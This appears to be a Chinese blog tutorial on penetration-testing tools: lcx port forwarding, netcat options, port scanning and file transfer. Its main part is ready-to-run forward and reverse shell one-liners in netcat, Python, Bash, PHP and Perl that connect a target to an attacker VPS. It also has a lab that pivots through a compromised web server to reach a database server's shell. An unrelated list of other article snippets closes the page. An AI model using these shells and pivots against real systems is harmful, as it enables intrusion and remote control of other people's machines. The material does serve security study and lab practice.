如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的端口(例如53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。

1.lcx实现本地端口映射

lcx  -tran 53  <目标主机的IP地址>  3389

2.netcat

  之所以叫作netcat,是因为它是网络上的cat。cat的功能是读取一个文件的内容并传输出到屏幕上,netcat也是如此----从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)。

2.1 netcat基本参数说明

-d  后台模式

-e 程序重定向

-g <网关>  设置路由器跃程通信网关,最多可设置8个

-G <指向器数目> 设置来源路由器指向器,其数值为4的倍数

-h 在线帮助

-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口

-l 使用监听模式,管控传入的资料

-n 直接使用IP地址,而不通过域名服务器

-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存

-p <通信端口> 设置本地主机使用的通信端口;

-r 随机指定本地与远端主机的通信端口;

-s <来源位址> 设置本地主机送出数据包的IP地址;

-u 使用UDP传输协议;

-v 详细输出;

-w <超时秒数> 设置等待连线的时间;

-z 将输入输出关掉,只在扫描通信端口时使用

2.2 netcat的功能

.Banner抓取

  服务器的Banner信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况。服务的Banner信息不仅包含正在运行的服务类型,还包含服务的版本信息。Banner抓取是一种在开放的端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估。

nc -nv  127.0.0.1  80

.连接到远程主机

nc  -nvv  192.168.4.134  80

.端口扫描

nc  -v   192.168.4.134  80

nc -v -z  192.168.4.134  20-1024

.端口监听

执行如下命令,监听本地端口。当访问该端口时会输出该信息到命令行

nc -l -p 9999

.文件传输

在本地VPS主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入,

nc -lp 333 > 1.txt

在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为text.txt的文件

nc -vn 192.168.4.134 333 < text.txt  -q  1

.简易聊天

在本地VPS主机中输入如下命令,开始监听

nc -l -p 888

在目标主机中输入如下命令,就可以开始聊天

nc -vn 192.168.4.134  888

.获取shell

正向 shell

目标主机监听: Nc -lvp 4444 -e /bin/sh //linux Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows

本地主机: nc 192.168.1.11 4444

反向 shell

本地主机监听: nc -lvp 9999

目标主机: nc 192.168.11.144 9999 -e /bin/sh //linux

   nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows

目标主机上没有Netcat,获取反向shell

python反向shell

VPS上监听端口: Nc -lvp 2222

目标主机上执行: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash反向shell

VPS上监听端口: Nc -lvp 4444

目标主机上执行: bash -i >& /dev/tcp/192.168.1.4/4444 0>&1

PHP反向shell

VPS上监听端口: Nc -lvp 2222

目标主机上执行: php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向shell

VPS上监听端口: Nc -lvp 4444

目标主机上执行: perl -e ‘ use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprot obyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,” >&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh - i”);};’

3.内网代理

3.1 拓扑图

3.2 测试环境

攻击者VPS(kali  linux):192.168.4.136

一个小型内网;

三台服务器;

假设已经获取了web服务器的权限,通过Kali linux机器不能直接访问数据库服务器(linux),但通过Web 服务器可以访问数据库服务器(linux)。

测试目标为:获取数据库服务器(linux)的shell

3.3 实验步骤

vps上执行如下命令

nc   -lvp 3333

web服务器(跳板机)上执行

nc  -v  192.168.4.136 3333  -c  "nc -v 1.1.1.10  3333"

数据库服务器上执行

nc  -lvp 3333  -e  /bin/sh

vps上获取到了数据库服务器的shell,

传输层 lcx实现本地端口映射&&内网代理的更多相关文章

  1. Tp-link路由器怎么设置端口映射 内网端口映射听语音

    https://jingyan.baidu.com/article/ca00d56c710ef9e99eebcf85.html 只有一台能上网的电脑就可以自己免费搭建服务器,本经验简单介绍家用tp-l ...

  2. python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术

    python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...

  3. 【转】使用miniupnpd-->upnp协议 映射本地端口到外网

    miniupnpc的主要函数介绍 1>.miniupnpc库主要使用的头文件有 #include"miniwget.h" #include"miniupnpc.h& ...

  4. Apache服务器中设置端口映射和反向代理的方法

    在/etc/httpd/conf路径下的httpd.conf文件###new add for webui.cong###Include "E:/local/Wamp/bin/apache/A ...

  5. 本地Linux虚拟机内网穿透,服务器文件下载到本地磁盘

    本地Linux虚拟内网穿透 把服务器文件下载到本地磁盘 https://natapp.cn/ 1.注册账户点击免费隧道  

  6. wstngfw中使用虚拟IP映射内网IP

    wstngfw中使用虚拟IP映射内网IP -------------------------------- Server01: IP: 192.168.195.73/24 GW: 192.168.19 ...

  7. 网络层、传输层、应用层、端口通信协议编程接口 - http,socket,tcp/ip 网络传输与通讯知识总结

    引: http://coach.iteye.com/blog/2024511 什么是TCP和UDP,以及二者区别是什么? TCP的全称为传输控制协议.这种协议可以提供面向连接的.可靠的.点到点的通信. ...

  8. VMware NAT端口映射 外网可以访问内网虚拟机

    我想尝试的是利用本机的ip+port来访问虚拟机上的web服务器,因为这样的话,我就能够将我的web服务器部署成为一个能让外网访问的服务器了,首先说下我的环境: 主机:系统win7,ip地址172.1 ...

  9. WinServer 之 内网发布网站后端口映射外网访问

    内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...

随机推荐

  1. 《剑指offer》面试题55 - I. 二叉树的深度

    问题描述 输入一棵二叉树的根节点,求该树的深度.从根节点到叶节点依次经过的节点(含根.叶节点)形成树的一条路径,最长路径的长度为树的深度. 例如: 给定二叉树 [3,9,20,null,null,15 ...

  2. RBAC: K8s基于角色的权限控制

    文章目录 RBAC: K8s基于角色的权限控制 ServiceAccount.Role.RoleBinding Step 1:创建一个ServiceAccount,指定namespace Step 2 ...

  3. Python-多线程及生产者与消费者

    一.前置知识 1. 队列基础 如果不指定队列是什么,请自行查阅 在Python中,队列是最常用的线程间的通信方法,因为它是线程安全的 from queue import Queue # 创建队列 # ...

  4. 【解决了一个小问题】alpine镜像中,busybox的date命令获取昨天的日期

    直接上答案: date -d@"$(( `date +%s`-86400))" +"%Y-%m-%d"

  5. 使用Hot Chocolate和.NET 6构建GraphQL应用文章索引

    系列背景 在进入微服务的实践系列之前,我们一起来学习和实践一下.NET应用开发生态中一些比较重要的技术,这个系列就是关于GraphQL在.NET 6应用中的实现. 系列导航 使用Hot Chocola ...

  6. vue学习5-js表达式

    三目运算符 <!DOCTYPE html> <html lang='en'> <head>  <meta charset='UTF-8'>  <m ...

  7. 学习AJAX必知必会(4)~JQuery发送Ajax请求

    一.JQuery发送Ajax请求 ■ 对于get和post请求,jQuery内部封装了Ajax请求的4个步骤和数据格式的设置 ■ 对于Ajax通用请求,jQuery内部封装了Ajax请求的4个步骤和数 ...

  8. gin中multipart/urlencoded绑定

    package main import ( "fmt" "github.com/gin-gonic/gin" "net/http" ) ty ...

  9. 沁恒CH32F103C8T6(三): PlatformIO DAPLink和WCHLink下载配置

    目录 沁恒CH32F103C8T6(一): Keil5环境配置,示例运行和烧录 沁恒CH32F103C8T6(二): Linux PlatformIO环境配置, 示例运行和烧录 沁恒CH32F103C ...

  10. python语法缩进

    1.python会根据缩进来判断代码行和前一句代码行之间的关系 2.for循环后一定要缩进,for循环后面的冒号代表告诉python,下面是代码行缩进的第一行